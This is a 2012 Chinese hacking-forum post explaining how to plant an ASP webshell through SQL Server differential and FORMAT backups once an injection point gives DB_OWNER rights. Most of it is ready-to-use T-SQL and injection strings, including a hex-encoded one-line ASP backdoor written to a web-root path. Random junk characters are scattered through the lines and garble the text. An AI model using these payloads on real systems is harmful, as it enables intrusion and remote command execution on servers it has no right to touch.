中国网络渗透测试联盟

标题: DB_OWNER权限得到webshell的改进方法 [打印本页]

作者: admin    时间: 2012-12-31 09:57
标题: DB_OWNER权限得到webshell的改进方法
减少备份文件大小,得到可执行的webshell成功率提高不少0 d, f) P( ?8 m3 ~$ r

3 I3 P: y# `' P! l7 B一利用差异备份
4 J% n7 ~( a5 D; Q/ K" i, d加一个参数WITH DIFFERENTIAL
; Q+ i4 ~& q: A( @
2 s7 h. o8 u' w1 h; C' kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 ~. |( N& K( z8 v, q3 Z# m' h3 [9 Hcreate table [dbo].[xiaolu] ([cmd] [image]);! B3 Y) Q- y! q0 l; T' x9 y0 Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 Q$ q& a  B% b) F4 {: P* b6 Ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL9 d4 n1 V# M, c, |, r
( E. f8 B; z7 L( z- g
二利用完全FORMAT
/ g* ?! b$ m/ f8 i5 [加一个参数WITH FROMAT% p  m' \2 {0 S& ^% t7 H: o
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
  X& L" ]6 o, N1 @: I6 ?' V* R7 C  W
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 X9 J/ S7 v8 t& e- u' N, D9 [create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  i4 Z: W2 X8 _8 mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
/ U7 s0 D* \4 m# c7 l1 W
$ ?$ b: X) ?) w: X. x总的来说就是那么简单几句,下面以备份数据库model为例子( z7 m' R- _" t) I+ ^9 U

; f8 m0 D% q; k% L" ]0 ]  aid=1;use model create table cmd(str image);insert into cmd(str) values (”)
9 b  A) `( P' G! b6 v/ o' s8 L) O+ d% |5 _! f
id=1;backup database model to disk=’你的路径‘ with differential,format;–
3 l' }: x- e4 U+ ~1 ^
& M( Y- L* X- c$ H9 \- R9 p




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2